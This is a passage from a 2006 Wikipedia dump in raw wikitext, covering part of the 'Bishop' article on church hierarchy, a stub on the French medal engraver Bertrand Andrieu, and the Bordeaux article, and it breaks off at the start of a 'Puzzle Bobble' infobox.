This vision of at least partial [[democracy]] in [[ecclesiology]] paralleled the struggles between [[Parliament of England|Parliament]] and [[King of England|the King]].  A body within the [[Puritanism|Puritan]] movement in the [[Church of England]] sought to abolish the office of bishop and remake the Church of England along Presbyterian lines.  The [[Martin Marprelate]] tracts, applying the [[pejorative]] name of ''[[prelate|prelacy]]'' to the church hierarchy, attacked the office of bishop with satire that deeply offended [[Elizabeth I of England|Elizabeth I]] and her [[Archbishop of Canterbury]] [[John Whitgift]].  The [[vestments controversy]] also related to this movement, seeking further reductions in church ceremony, and labelling the use of elaborate vestments as &quot;unedifying&quot; and even [[Idolatry in Christianity|idolatrous]].  

King [[James I of England|James I]], reacting against the perceived contumacy of his Presbyterian Scottish subjects, adopted &quot;No Bishop, no King&quot; as a slogan; he tied the hierarchical authority of the bishop to the absolute authority he sought as king, and viewed attacks on the authority of the bishops as attacks on his own authority.  Matters came to a head when King [[Charles I of England|Charles I]] appointed [[William Laud]] as the Archbishop of Canterbury; Laud aggressively attacked the Presbyterian movement and sought to impose the full Anglican liturgy on each church.  The controversy eventually lead to Laud's [[impeachment]] for [[treason]] by a [[bill of attainder]] in [[1645]], and subsequent execution.  Charles also attempted to impose episcopacy on Scotland; the Scots' violent rejection of bishops and liturgical worship sparked the [[Bishops' Wars]] in [[1639]]-[[1640]].   

During the height of Puritan power in [[Commonwealth of England|the Commonwealth]] and [[the Protectorate]], episcopacy was abolished in the Church of England in [[1649]].  The Church of England   remained Presbyterian until the [[English Restoration|Restoration]] of [[Charles II of England|Charles II]] in [[1660]].

==Bishops in Catholic, Orthodox and Anglican churches==  
Although many [[Protestantism|Protestant churches]] have rejected the place of bishops in church leadership, churches rooted in tradition continue to ordain bishops to lead the church. Bishops form the leadership in the [[Roman Catholic Church]], the [[Eastern Orthodox Church]], the [[Oriental Orthodox Churches]], the [[Anglican Communion]], and the [[Independent Catholic Churches]].

The traditional role of a bishop is as pastor of a [[diocese]] (also called a bishopric, [[eparchy]] or [[see]]). Dioceses vary considerably in their size of area and population. Some dioceses around the [[Mediterranean Sea]] which were Christianized early are rather compact; whereas dioceses in areas of rapid modern growth in Christian commitment, as in some parts of [[Sub-Saharan Africa]], [[South America]] and the [[Far East]], are much larger and more populous.

[[Image:Bishopcoa.png|thumb|right|100px|One form for the [[coat of arms]] of a Roman Catholic bishop.]]
As well as traditional diocesan bishops, many churches have a well-developed structure of church leadership that involves a number of layers of authority and responsibility.
;[[Archbishop]]:An archbishop is the bishop of an [[archdiocese]]. This is usually a prestigious diocese with an important place in local church history. The title is purely honorific and carries no extra jurisdiction, though most archbishops are also [[metropolitan bishop]]s.
;[[Metropolitan bishop]]:A [[metropolitan bishop]] is an archbishop in charge of an [[ecclesiastical province]], or group of dioceses, and exercises some oversight over the other dioceses. Sometimes a metropolitan may also be the head of an [[autocephalous]], ''[[sui juris]]'', or [[autonomous]] church.
;[[Suffragan bishop]]:A [[suffragan bishop]] is a bishop subordinate to a Metropolitan. In the [[Roman Catholic Church]] this term is applied to all non-metropolitan bishops (diocesan and [[auxiliary bishop]]s). In the [[Anglican Communion]], the term applies to a bishop who is a full-time assistant to a diocesan bishop: the Bishop of [[Warwick]] is suffragan to the [[Bishop of Coventry]] (the diocesan), though both live in [[Coventry]]. Some Anglican suffragans are given the responsibility for a geographical area within the diocese (for example, the Bishop of [[Stepney]] is an ''area bishop'' within the [[Diocese of London]]).
[[Image:Gonzaleznieves.jpg|thumb|150px|right|[[Roberto González Nieves]], [[Archbishop of San Juan]], Puerto Rico, is a Metropolitan Bishop. ]]
;[[Titular bishop]]:A [[titular bishop]] is a bishop without a diocese. Rather, the bishop is head of a [[titular see]], which is usually an ancient city that used to have a bishop, but, for some reason or other, does not have one now. Titular bishops often serve as [[auxiliary bishop]]s. In the [[Eastern Orthodox Church]], bishops of modern diocese are often given a titular see alongside their modern one (for example, the Archbishop of Thyateira and Great Britain).
;[[Auxiliary bishop]]:An [[auxiliary bishop]] is a full-time assistant to a diocesan bishop (the Roman Catholic equivalent of an Anglican [[suffragan bishop]]). Auxiliaries are almost always [[titular bishop]]s, and are appointed as the [[vicar general]] of the diocese in which they serve.[http://www.ourladyswarriors.org/canon/c0330-0572.htm#par829 Source]
;[[Coadjutor bishop]]:A [[coadjutor bishop]] is a bishop who is given automatic right to succeed the incumbent diocesan bishop. The appointment of coadjutors is often seen as a means of providing for continuity of church leadership.
;Honorary assistant bishop:This title is usually applied to retired bishops who are given a general license to minister as episcopal pastors under a diocesan's oversight.
;[[Primate (religion)|Primate]]:A primate is the bishop of the oldest church of a [[nation]]. Sometimes this carries jurisdiction over metropolitan bishops, but usually it is another honorific. An [[exarch]] is like a primate in the Eastern churches. The title ''Presiding'' or ''President Bishop'' is often used for the head of a national Anglican church, but this title is not usually associated with a particular [[episcopal see]] like a primate. The primate of the [[Scottish Episcopal Church]] is chosen from among the diocesan bishops, and, while retaining diocesan responsibility, is called ''Primus''.
;[[Cardinal (Catholicism)|Cardinal]]:A [[cardinal (Catholicism)|cardinal]], although not until recently necessarily a bishop (e.g., Jesuit theologian [[Henri de Lubac]]), is usually a [[primate (religion)|primate]], [[patriarch]] or [[titular bishop]] within the [[Roman Catholic Church]]. Their primary duty is to elect the pope.
;[[Major archbishop]]:Major archbishops are the heads of some of the Eastern Rite churches in the Roman Catholic Church.  Their authority within their ''sui juris'' church is equal to that of a patriarch, but they receive fewer ceremonial honors.
;[[Catholicos]]:Catholicoi are the heads of some of the [[Eastern Orthodox]] and [[Oriental Orthodox]] churches, roughly similar to a Catholic major archbishop.
;[[Patriarch]]:[[Patriarch]]s are the heads of certain ancient autocephalous or ''sui juris'' churches.  Some of these churches call their leaders ''Catholicos''; the patriarch of the Orthodox Church of Alexandria, Egypt, is called ''Pope''.  While most patriarchs in the [[Roman Catholic Church]] have jurisdiction, all [[Latin Rite]] patriarchs, except for the [[Pope]], are honorary.
&lt;!-- Unsourced image removed: [[Image:PatriarchZakka5.jpg|thumb|left|100px|Ignatius Zakka I Iwas, [[Syriac Orthodox Church|Syriac Orthodox]] [[Patriarch of Antioch]]]] --&gt;Bishops in all of these communions are [[Holy Orders|ordained]] by other bishops.  Depending on the church, there need to be two or three bishops for validity or legality.

Apart from the ordination, which is always done by other bishops, there are different methods in different churches as to the actual ''choosing'' of a candidate for ordination as bishop. In the [[Roman Catholic Church]] today, the [[Congregation for Bishops]] oversees the selection of new bishops with the approval of the [[Pope]]. Most Eastern Orthodox churches allow varying amounts of more or less formalized laity and/or lower clergy influence on the choice of bishops. ''More information on this topic is needed.''

Only a bishop can ordain a bishop, [[priest]], or [[deacon]].

In the Eastern Orthodox Church and in the [[Eastern Rite]] liturgical tradition, a priest may celebrate the [[Divine Liturgy]] only with the blessing of a bishop.  An [[antimension]] signed by the bishop is kept on the altar partly as a reminder of whose altar it is and under whose [[omophorion]] the priest at a local parish is serving.

The [[Pope|Pope of Rome]], in addition to being the Bishop of Rome and head of the [[Roman Catholic Church]], is the Patriarch of the [[Latin Catholic Church]].  Each bishop within the Latin Catholic Church is only answerable directly to the Pope and not any other bishop except to metropolitans in certain oversight instances.

In the Roman Catholic and Orthodox Churches and the Anglican Communion, the [[cathedral]] of a diocese will have a special chair set aside for the exclusive use of the bishop.  This is the bishop's ''[[cathedra]]'', which is often called the bishop's [[throne]].  In some other Christian denominations, other churches besides the cathedral will maintain a chair for the use of a Bishop when he visits their parish.

Catholic, Anglican, and Orthodox Christian bishops claim to be part of a continuous sequence of ordained bishops since the days of the apostles, the '''[[apostolic succession]].''' Since [[Pope Leo XIII]] issued the bull [[Apostolicae Curae]] in [[1896]], the Roman Catholic Church has insisted that Anglican orders are invalid because of that church's changes in the ordination rites. The Roman Catholic Church does recognize as valid (though illegal) ordinations done by breakaway Roman Catholic bishops, and groups descended from them, so long as the people receiving the ordination conform to other canonical requirements; this gives rise to the phenomenon of ''[[episcopi vagantes]]''.  Roman Catholics also recognize the validity of ordinations of bishops, priests, and deacons in the Orthodox churches.

Some [[province (Anglican)|provinces]] of the Anglican Communion have begun [[ordination of women|ordaining women]] as bishops in recent decades. The first was [[Barbara Clementine Harris]], who was ordained to the epsicopate in [[1989]].

==Bishops in other churches==
Some other churches, such as [[Lutheran church|Lutherans]], [[Methodism|Methodists]] and [[Church of Jesus Christ of Latter-day Saints|The Church of Jesus Christ of Latter-day Saints]] (&quot;LDS Church&quot;; see also [[Mormon]]), also have bishops, but their roles differ significantly from the Catholic, Orthodox, and Anglican ones.  

===Evangelical Lutheran Church in America===
In the [[Evangelical Lutheran Church in America]], the largest Lutheran denomination in the United States, and based largely on the [[Nordic]] Lutheran state churches (similar to that of the [[Church of England]], bishops are elected by synod councils, consisting of both lay members and clergy, for a term of 6 years, which can be renewed, depending upon the local synod's &quot;constitution&quot; (which usually mirrors that of the national ELCA constitution).  Currently, they are responsible for, since going into ecumenical communion with the [[Episcopal Church in the United States]], with the ordaining of all pastors, consecrating all diaconal ministers, giving approvals to &quot;roster&quot; all current pastors (pastors are called by local congregations, like that of the Episcopal Church), and upholding the teachings of Luther, the ELCA and synod constitutions.  The Presiding Bishop of the ELCA, the national bishop, is elected for a single 6-year term, and handles all episcopal consecrations, as well as presiding at the General Assembly, which is held every 2 years.  A similar structure exists with the [[Evangelical Lutheran Church in Canada]] (ELCC), except that its bishops cover entire provinces (ELCA synods are usually metropolitan in structure).

===United Methodist Bishops===
[[Image:Tbickerton.jpg|thumb|right|100px|[[Thomas Bickerton]], United Methodist Bishop for Western Pennsylvania]]
In the [[United Methodist Church]], bishops are administrative superintendents of the church; they are elected for life from among the clergy by vote of the delegates in regional (called Jurisdictional) conferences and, among their duties, are responsible for appointing clergy to serve local churches as pastor, for performing ordinations, and for safeguarding the doctrine and discipline of the Church.  The Juridictional Conferences, meeting every four years, are comprised of an equal number of clergy and lay delegates.  In each Annual Conference, United Methodist bishops serve for four year terms, and may serve up to three terms before either retirement or appointment to a new Conference. United Methodist bishops may be male or female.  [[John Wesley]] made [[Thomas Coke (methodist)|Thomas Coke]] and [[Francis Asbury]] superintendents for the [[United States|United States of America]] in [[1784]], where Methodism first became a separate [[religious denomination|denomination]] apart from the [[Church of England]]. Coke soon returned to England, but Asbury was the primary builder of the new church. He did not call himself bishop, but eventually submitted to the usage by the people. 

Notable bishops in United Methodist history include Coke, Asbury, [[Richard Whatcoat]], [[Philip William Otterbein]], [[Martin Boehm]], [[Jacob Albright]], [[John Seybert]], [[Matthew Simpson]], [[John Stamm]], [[Marjorie Matthews]], [[Ntambo Nkulu Ntanda]], [[William Willimon]], and [[Thomas Bickerton]].

Methodists in [[Great Britain]] acquired their own bishops early in the [[nineteenth century]], after the Methodist movement in Britain formally parted company with the Church of England.  The position no longer exists, however, in British Methodism.

===Christian Methodist Episcopal Church===
&lt;!--No Source Information: [[Image:GILMORE.jpg|thumb|right|100px|[[Marshall Gilmore]], Senior Bishop of The Christian Methodist Episcopal Church]]--&gt; 
In the Christian Methodist Episcopal Church, bishops are administrative superintendents of the church; they are elected by &quot;delegate&quot; votes for as many years deemed until the age of 74, then he/she must retire. Among their duties, are responsibility for appointing clergy to serve local churches as pastor, for performing ordinations, and for safeguarding the doctrine and discipline of the Church. The General Conference, a meeting every four years, are comprised of an equal number of clergy and lay delegates. In each Annual Conference, CME bishops serve for four year terms. CME Church bishops may be male or female.

=== The Church of Jesus Christ of Latter-day Saints ===
In [[The Church of Jesus Christ of Latter-day Saints]], the [[Bishop (Mormonism)|Bishop]] is the leader of a local congregation, called a [[Ward (Mormonism)|ward]]. As such, it is his duty to preside at [[sacrament meeting|sacrament meetings]], assign local leaders, and participate in one-on-one interviews with his ward members for things such as [[temple (Mormonism)|temple recommends]] and [[confession]].

Bishop is an office of the [[priesthood (Mormonism)|Aaronic Priesthood]]; in addition to his ward responsibilities, it is a bishop's duty to preside over the priest's [[quorum (Mormonism)|quorum]]. Responsible for the physical welfare of the ward, he collects [[tithing]] and [[fast offering|fast offerings]] and distributes financial assistance where needed.

A bishop is chosen from members of the local congregation by the [[stake (Mormonism)|stake presidency]]. After being called, he chooses his two counselors, and the three men together form a bishopric. Like almost all positions in the Church, bishops are not paid or reimbursed financially for their services and therefore have normal full-time jobs to provide for their families. A ward typically releases its bishop and calls a new one every five years or so; after being released, a bishop is usually still referred to by the title &quot;Bishop&quot; by the people he served.

=== New Apostolic Church ===
The [[New Apostolic Church]] (NAC) knows 3 classes of ministries: Diacons, Priests and Apostles. The [[New Apostolic Church#Ministries|Apostle]]s, all conclused in the apostolate with the [[Chief Apostle]] as head, are the highest ministries.  

Of the several kinds of priest-ministries, the bishop is the highest one.  Nearly all bishops are set in directly from the chief apostle.  They support and help their superior apostle.

=== Others ===
In some smaller Protestant denominations and independent churches the term bishop is used in the same way as pastor, to refer to the leader of the local congregation who may be male or female. This usage is especially common in African American churches in the USA.  In the [[Church of Scotland]], which has a Presbyterian church structure, the word &quot;bishop&quot; refers to an ordained person, usually a normal parish minister, who has temporary oversight of a trainee minister.

==See also==
* [http://www.umc.org/interior.asp?ptid=1&amp;mid=5881 List of United Methodist Bishops]
* [[Episcopalian church governance]]
* [[List of Bishops and Archbishops]]
* [[Presbyterian church governance]]
* [[Bishops in the Church of Scotland]]
* [[Mitre]]

==Pop culture==
*[[Monty Python's Flying Circus]] featured a fanciful sketch in which an Anglican bishop doubled as a [[Peter Gunn]]-style private detective.

==References &amp; Resources==
===Print===
* [[Ignatius of Antioch]], ''Epistles of to the Ephesians, Magnesians, Trallesians, and Smyrnans'', Lightfoot, trans., Harmer, ed. (Kessinger, 1891/2003). ISBN 0766164985 
*  Mathews, James, ''Set Apart To Serve: The Role of the Episcopacy in the Wesleyan Tradition'' (Nashville: Abingdon, 1985).
* Moede, Gerald, ''The Office of Bishop in Methodism: Its History and Development'' (Nashville: Abingdon, 1965).

===Online===
* [http://biblestudytools.net/OnlineStudyBible/bible.cgi?word=1+Timothy+3%3A1-7&amp;section=0&amp;version=nrs&amp;new=1&amp;oq=&amp;NavBook=1ti&amp;NavGo=3&amp;NavCurrentChapter=3 1 Timothy 3:1-7] (''[[NRSV]]'')
* [http://biblestudytools.net/OnlineStudyBible/bible.cgi?word=Titus+1%3A7-9&amp;section=0&amp;version=nrs&amp;new=1&amp;oq=&amp;NavBook=tit&amp;NavGo=1&amp;NavCurrentChapter=1 Titus 1:7-9] (''[[NRSV]]'')
* [http://www.revneal.org/Writings/apostoli.htm  Methodist/Anglican Thoughts On Apostolic Succession] by Gregory Neal
* [http://www.revneal.org/Writings/methepisc.htm Methodist Episcopacy: In Search of Holy Orders] by Gregory Neal
* [http://www.hbgdiocese.org/bishop/downloadables/What%20a%20Bishop%20Wears.pdf What a bishop wears] (Office of Worship of the Diocese of Harrisburg)

&lt;!-- Tips for referencing:

For websites, use the formatting below (date/year are when you accessed the web page):
{{Web reference | title=Title of page | work=Title of Complete Work | url=http://www.example.com | date=Month Day | year=Year}}


For Books, use:
{{Book reference | Author=Lincoln, Abraham; Grant, U. S.; &amp; Davis, Jefferson | Title=Resolving Family Differences Peacefully | Publisher=Gettysburg: Printing Press | Year=1861 | Editor=Stephen A. Douglas | ID=ISBN 0-12-345678-9}}


For other sources, see: [[WP:CITET]]
--&gt;


[[Category:Bishops|*]]
[[Category:Christian group structuring]]
[[Category:Roman Catholic Church offices]]
[[Category:Methodism]]
[[Category:Religious work]]
[[Category:Ecclesiastical titles]]

[[bg:Епископ]]
[[cs:Biskup]]
[[da:Biskop]]
[[de:Bischof]]
[[es:Obispo]]
[[eo:Episkopo]]
[[fr:Évêque]]
[[ko:주교]]
[[id:Uskup]]
[[is:Biskup]]
[[it:Vescovo]]
[[he:בישוף]]
[[la:Episcopus]]
[[lb:Bëschof]]
[[li:Biesjop]]
[[hu:Püspök]]
[[nl:Bisschop]]
[[ja:司教]]
[[nn:Biskop]]
[[no:Biskop]]
[[pl:Biskup]]
[[pt:Bispo]]
[[ru:Епископ]]
[[sk:Biskup]]
[[sl:Škof]]
[[fi:Piispa]]
[[sv:Biskop]]
[[vi:Giám mục]]
[[uk:Єпископ]]
[[zh:主教]]</text>
    </revision>
  </page>
  <page>
    <title>Bertrand Andrieu</title>
    <id>4093</id>
    <revision>
      <id>37301362</id>
      <timestamp>2006-01-30T02:47:20Z</timestamp>
      <contributor>
        <username>Sparkit</username>
        <id>194762</id>
      </contributor>
      <minor />
      <comment>Category:French engravers</comment>
      <text xml:space="preserve">'''Bertrand Andrieu''' ([[November 4]],[[1761]]-[[December 10]],[[1822]]), French engraver of medals, was born at [[Bordeaux]].  He is considered as the 
restorer of the art in [[France]], which had declined after the time of [[Louis XIV of France|Louis XIV]].; and during the last twenty years of his life he was entrusted by the French government with the execution of every work of importance.  Many of his medals are figured in the Medallic History of Napoleon. 

==References==
*{{1911}}

[[Category:1761 births|Andrieu, Bertrand]]
[[Category:1822 deaths|Andrieu, Bertrand]]
[[Category:French engravers|Andrieu, Bertrand]]</text>
    </revision>
  </page>
  <page>
    <title>Bordeaux</title>
    <id>4097</id>
    <revision>
      <id>41962981</id>
      <timestamp>2006-03-02T22:32:43Z</timestamp>
      <contributor>
        <username>Naconkantari</username>
        <id>676502</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/220.245.178.131|220.245.178.131]] ([[User talk:220.245.178.131|talk]]) to last version by Viridian</comment>
      <text xml:space="preserve">{{Bordeaux infobox}}

'''Bordeaux''' ({{audio|Fr-Bordeaux.ogg|pronunciation}}; ''Bordèu'' in [[Gascon language|Gascon]]) is a [[Seaport|port]] city in the south-west of [[France]], with 925,253 inhabitants in the [[aire urbaine|metropolitan area]] at the [[1999]] census. It is the [[capital]] of the [[Aquitaine]] ''[[région in France|région]]'', as well as the ''[[préfecture]]'' (administrative capital) of the [[Gironde]] ''[[département in France|département]]''. Its inhabitants are called ''Bordelais''.

Bordeaux is one of Europe's military, space and aeronautics research and construction centres, gathering the R&amp;D activities of such companies as EADS space division and Thales, but also missile engines and Dassault's planes construction plants among others. It is the core of France's strategic  nuclear research and physics experiments, hosting the Centre d'Etudes Atomiques and the Megajoule laser project among other high technology wide-scale projects.

With almost 100,000 students, the city's university is renowned for its research units in crop science, new materials and nanotechnologies, along with its [[Institut d'études politiques de Bordeaux|Institut d'études politiques]], its comunication and journalism institute and its law school.

[[Bordeaux wine]] draws its name from the city around which it has been produced since the 8th century. Thus the city is known as the world's wine capital, hosting the wine industry's biggest event: Vinexpo.  

==Geography==

The city is built on an arc of the river [[Garonne]], and is thus divided into two parts: the right bank to the East and left bank in the West.  Historically, the left bank is the most developed of the two.

==Demographics==

At the [[1999]] census, there were 215,363 inhabitants in the city ([[Commune in France|commune]]) of Bordeaux. There were 925,253 inhabitants in the metropolitan area (''[[aire urbaine]]''). The city contains a diverse range of people. Much of the population is French, but other sizeable White groups are [[Italian people|Italians]], [[Spaniards]], [[Portuguese people|Portuguese]], and [[German people|German]]. However, there are large numbers of North African Muslims.

As of February [[2004]] estimates, the population of the city reached 229,500 inhabitants.

== History ==

Bordeaux was founded around [[300 BC]] by a [[Celtic tribe]], the [[Biturige Vivisci]], who named the town ''Burdigala''. The city fell under Roman rule around [[60 BC]].

The city was plundered by the troops of [[Abdul Rahman Al Ghafiqi|Abd er Rahman]] in [[732]], after he had defeated [[Odo of Aquitaine|Duke Eudes]] and before he was killed during the [[Battle of Tours]] on [[October 10]]. It was later plundered by the Vikings. 

From the 12th to the 15th century, Bordeaux was part of the [[Kingdom of England|English]] realm, following the marriage of [[Eleanor of Aquitaine|Duchess Alienor]] (Eleonor in English) d'Aquitaine with the French speaking Count Henri Plantagenet, born in [[Le Mans]], who became, within months of their wedding, King [[Henry II of England]].
  
The 18th century was its golden age, because of the wine trade with the British Isles and Germany and the trades with the [[West Indies]]. Many downtown buildings (about 5,000), including those on the quays are from this period. [[Victor Hugo]] found the town so beautiful he once said: &quot; take Versailles, add Antwertp, and you have Bordeaux&quot;. [[Baron Haussmann]], a long time prefect of Bordeaux, used Bordeaux' 18th century big scale rebuilding as a model when he was asked by Emperor [[Napoleon III of France|Napoleon III]] to transform a then still quasi-medieval Paris into a &quot;modern&quot; capital that would make France proud. 

The French government withdrew to the city during the wars of 1870, WWI and WW II.

==Wine==
:Main article : ''[[Bordeaux Wine]]''

The Bordeaux region is home to many of the most prestigious wine producers in the world. Both red and white wines are made in Bordeaux. Red Bordeaux is called [[claret]] in the [[United Kingdom]].

Red Bordeaux is generally made from a blend of grapes and may be made from [[Cabernet Sauvignon]], [[Merlot]], [[Cabernet Franc]], [[Petit Verdot]], [[Malbec]], and, less commonly in recent years, [[Carmenere]].  White Bordeaux is made from [[Sauvignon Blanc]], [[Semillon]], and [[Muscadelle]].

The Bordeaux [[wine region]] is divided into subregions including [[Saint-Émilion]], [[Pomerol]], [[Médoc]], and [[Graves]]. The area's five 'premier cru' ([[first growth]]) red wines (four from Médoc and one, Chateau Haut-Brion, from Graves), established by the [[Bordeaux Wine Official Classification of 1855]] are among the most sought after and expensive wines in the world:
*[[Château Lafite-Rothschild]]
*[[Château Margaux]]
*[[Château Latour]]
*[[Château Haut-Brion]]
*[[Château Mouton-Rothschild]] (added in 1973)

[[Sauternes]] is a subregion of Graves famous for its intensely sweet, white, [[dessert wine]]s such as [[Chateau d'Yquem]].

The economic crisis caused by the wine glut in all but the most prestigious Bordeaux wines has led to [[Plan Bordeaux]].

==University City==
{{Main|University of Bordeaux}}
Bordeaux is a university town, with four universities devoted to natural science (Bordeaux I), medicine (Bordeaux II), the liberal arts (Bordeaux III) and political sciences and law (Bordeaux IV). Bordeaux II is located in the city centre, while the other three were relocated in the 1960s to Domaine Universitaire, a vast campus located in the communes of [[Talence]], [[Pessac]] and [[Gradignan]].

==An Architectural Jewel==

[[Image:Edouard Manet 026.jpg|thumb|250px|[[Edouard Manet]]: ''Harbour at Bordeaux'', 1871]]

Bordeaux is home to one of Europe's biggest 18th century architecture urban area, making it a sought-after destination for tourists and cinema production crews. It stands out as one of the first French cities, after [[Nancy]], to have entered an era of urbanism and metropolitan big scale projects, with the team Gabriel father and son, architects for King [[Louis XV of France|Louis XV]], under the supervision of 2 intendants (Governors), first Mr. [[Dupre de Saint Maur]] then the [[Marquis de Tourny|Marquis (Marquess) de Tourny]].

It is also the first city in France to have put in place, in the 1980s, an architecture exhibition and research center, [[Arc en rêve]], still the most prestigious in France besides Paris [[Institut Francais d'Architecture|IFA]].

==Transportation==

There have been several plans for a subway network to be set up but they were given up for both geological and financial reasons. A [[tramway]] system was started in the fall of 2000 and put into service in december 2003, connecting Bordeaux with the surrounding communities. It uses the [[APS]] technology, a brand new and exclusive cableless technology developed by French company [[Alstom]] and designed to preserve the aesthetic environment the tramway is surrounded by (although very controversial for its considerable cost of installation and maintenance, but also for the numerous technical problems that paralyzed the network for an unusually long time). At the same time many downtown streets and squares along the tramway lines became pedestrian areas, with limited access by cars. The mass transit authority is the CGFTE, under municipal government, but the exploitation of the network is confered to [[Connex]].

The mainland [[railway station]] is the Gare Saint Jean, located downtown. It is the neuralgic point of the transportation system, with the [[TGV]] allowing a trip to [[Paris]] in 3 hours, and therefore an efficient connectivity with major european centers. The Gare Saint Jean is also the major hub for regional trains ([[TER]]), operated by the [[SNCF]] like the TGV. However, there is no suburban railway network and the suburbs are only reachable by bus (although some parts of the metropolitan area are now served by the new tramway). When compared to other cities of similar importance in the country, Bordeaux has dramatically archaic public transport; this is slowly changing with the recent development of the tram. 

Bordeaux is served by an international airport, [[Aéroport de Bordeaux Mérignac]][http://www.bordeaux.aeroport.fr/], situated a couple of kilometers from downtown in the suburban city of [[Mérignac]] and counting among the ten busiest airports in the country. As a consequence of the temporary closure of the [[Cazaux]] military base, the civil authorities have been forced to share the runaway with the army as of November 2005. The airport operates on a two halls basis, within a single terminal, and is only linked to downtown by a coach company. This lack of a public mass transport connection has led to a certain anger in the local area. In addition to frequent flights to Paris and a number of French cities, the airport offers daily links with a number of countries such as the Bordeaux-[[London]] flight operated by [[British Airways]] and numerous flights to UK airports, reflecting the massive British presence in local tourism (see the list below, sorted by airlines):

*[[Air Algérie]] ([[Algiers]])&lt;br&gt;
*[[Air Atlas Blue]] ([[Marrakech]])&lt;br&gt;
*[[Air France]] ([[Amsterdam]], [[Barcelona]], [[Brussels]], [[Clermont-Ferrand]], [[Dublin]], [[Geneva]], [[Lille]], [[Lisbon]], [[Lyons]], [[Madrid]], [[Marseilles]], [[Mulhouse]], [[Nantes]], [[Nice]], Paris [[Orly Airport]], Paris [[Charles de Gaulle International Airport]], [[Porto]], [[Rennes]], [[Strasbourg]])&lt;br&gt;
*[[Aer Lingus]] ([[Dublin]])&lt;br&gt;
*[[Bmibaby]] ([[Birmingham]], [[Manchester]], [[Nottingham East Midlands Airport]])&lt;br&gt;
*[[British Airways]] ([[London Gatwick Airport]])&lt;br&gt;
*[[CCM Airlines]] ([[Ajaccio]], [[Bastia]])&lt;br&gt;
*[[Corsair]] ([[Pointe-à-Pitre]])&lt;br&gt;
*[[Flybe]] ([[Bristol]], [[Southampton]])&lt;br&gt;
*[[Iberia Airlines|Iberia]] ([[Madrid]])&lt;br&gt;
*[[Lufthansa]] ([[Munich]])&lt;br&gt;
*[[Royal Air Maroc]] ([[Casablanca]])&lt;br&gt;
*[[Portugalia Airlines]] ([[Lisbon]], [[Porto]])&lt;br&gt;
*[[Sterling Airlines]] ([[Copenhagen]], [[Stockholm]])&lt;br&gt;
*[[Tunisair]] ([[Tunis]])&lt;br&gt;
*[[Air Turquoise]] ([[Rheims]])

[[Image:Bordeaux Pont de Pierre.jpg|thumb|200px|Pont-de-Pierre]]

Bordeaux has 4 road bridges that cross the [[Garonne]], the Pont-de-Pierre build in the 1820s and 3 modern bridges built after 1960: the Pont Saint Jean, just south of the Pont de Pierre (both located downtown), the Pont d'Aquitaine, a suspended bridge downstream from downtown, and the Pont François Mitterrand, located upstream of downtown. These 2 bridges are part of a divided highway forming a ring road around Bordeaux.  There is also a steel railway bridge, built in the 1850s by [[Gustave Eiffel]], and used daily by 100s, including the fast trains TGVs from/to Paris.

==Miscellaneous==

===Births===

Bordeaux was the birthplace of:
*[[Decimus Magnus Ausonius]] (c. [[310]]-[[395]]), Roman [[poet]] and [[rhetoric]]ian
*[[Bertrand Andrieu]] ([[1761]]-[[1822]]), engraver
*[[Jean Anouilh]] ([[1910]]-[[1987]]), dramatist
*[[Yvonne Arnaud]] ([[1892]]-[[1958]]), actress
*[[François Bigot]] ([[1703]]-[[1788]]), last ''[[Intendant of New France|Intendant]]'' of [[New France]]
*[[René Clément]] ([[1913]]-[[1996]]), actor, director, writer
*[[Marie-Louise Damien|Damia]] ([[1899]]-[[1978]]), singer
*[[Lili Damita]] ([[1901]]-[[1994]]), actress
*[[Danielle Darrieux]] (born [[1917]]), actress
*[[Eugène Goossens]] ([[1867]]-[[1958]]) conductor, violinist
*[[François Mauriac]] ([[1885]]-[[1970]]), writer, [[Nobel Prize|Nobel laureate]]
*[[Édouard Molinaro]] (born [[1928]]), film director, producer
*[[Michel de Montaigne]] ([[1533]]-[[1592]]), philosopher
*[[Paulinus of Nola| St. Paulinus of Nola]] ([[354]]-[[431]]), educator, religious figure
*[[Pierre Rode]] ([[1774]]-[[1830]]), violinist
*[[Jean-Jacques Sempé]] (born [[1932]]), [[cartoonist]]
*[[Richard II of England]] [[1367]]- [[1400]]
*[[Jacques Ellul]] ([[1912]]–[[1994]]), sociologist, theologian, Christian anarchist

===Sports===

''[[FC Girondins de Bordeaux|Girondins de Bordeaux]]'' is the local [[football (soccer)|football]] team.

==See also==
* [[List of mayors of Bordeaux]]
* [[Canelé]], a local [[pastry]]
* [[Dogue de Bordeaux]], a [[breed of dog|breed]] of [[dog]] originally bred for [[dog fighting]]
* [[Bordeaux-Paris]], a former professional [[road bicycle racing|cycle race]]
* [[Battle of Bordeaux (football)|Battle of Bordeaux]], an informal name for the [[Football World Cup 1938|World Cup]] [[football (soccer)|football]] match between [[Brazil national football team|Brazil]] and [[Czechoslovakia national football team|Czechoslovakia]] on [[June 12]], [[1938]] in Bordeaux
* [[Operation Frankton]], a [[United Kingdom|British]] [[Combined Operations]] raid on shipping in Bordeaux harbour, in December [[1942]], during [[World War II]]

==External links==
{{commons|Bordeaux}}
* [http://www.bordeaux.fr Bordeaux city council website]
* [http://www.bordeaux-tourisme.com/ Tourist office website]
* [http://www.girondins.com/ Official Girondins de Bordeaux website]
* [http://www.sciencespo.fr/ Sciences Po Bordeaux]

[[Category:Bordeaux|*]]
[[Category:Coastal cities in France]]
[[Category:Twin town with Quebec City]]

[[ar:بوردو]]
[[an:Bordeus]]
[[bg:Бордо]]
[[ca:Bordeus]]
[[cs:Bordeaux]]
[[de:Bordeaux]]
[[et:Bordeaux]]
[[es:Burdeos]]
[[eo:Bordeaux]]
[[fr:Bordeaux]]
[[gl:Bordeos - Bordeaux]]
[[id:Bordeaux]]
[[it:Bordeaux]]
[[he:בורדו]]
[[la:Burdigala]]
[[nl:Bordeaux]]
[[ja:ボルドー]]
[[no:Bordeaux]]
[[oc:Bordèu]]
[[pl:Bordeaux]]
[[pt:Bordéus]]
[[ro:Bordeaux]]
[[ru:Бордо (город)]]
[[sr:Бордо]]
[[fi:Bordeaux]]
[[sv:Bordeaux]]</text>
    </revision>
  </page>
  <page>
    <title>Puzzle Bobble</title>
    <id>4098</id>
    <revision>
      <id>38478158</id>
      <timestamp>2006-02-06T16:36:27Z</timestamp>
      <contributor>
        <ip>128.61.69.84</ip>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">{{Infobox Arcade Game |title = Puzzle Bobble
|image = [[Image:{{PAGENAME}}.png|255 px|Puzzle Bobble screenshot]]
|developer = [[Taito Corporation|Taito]]
|publisher = [[Taito Corporation|Taito]]
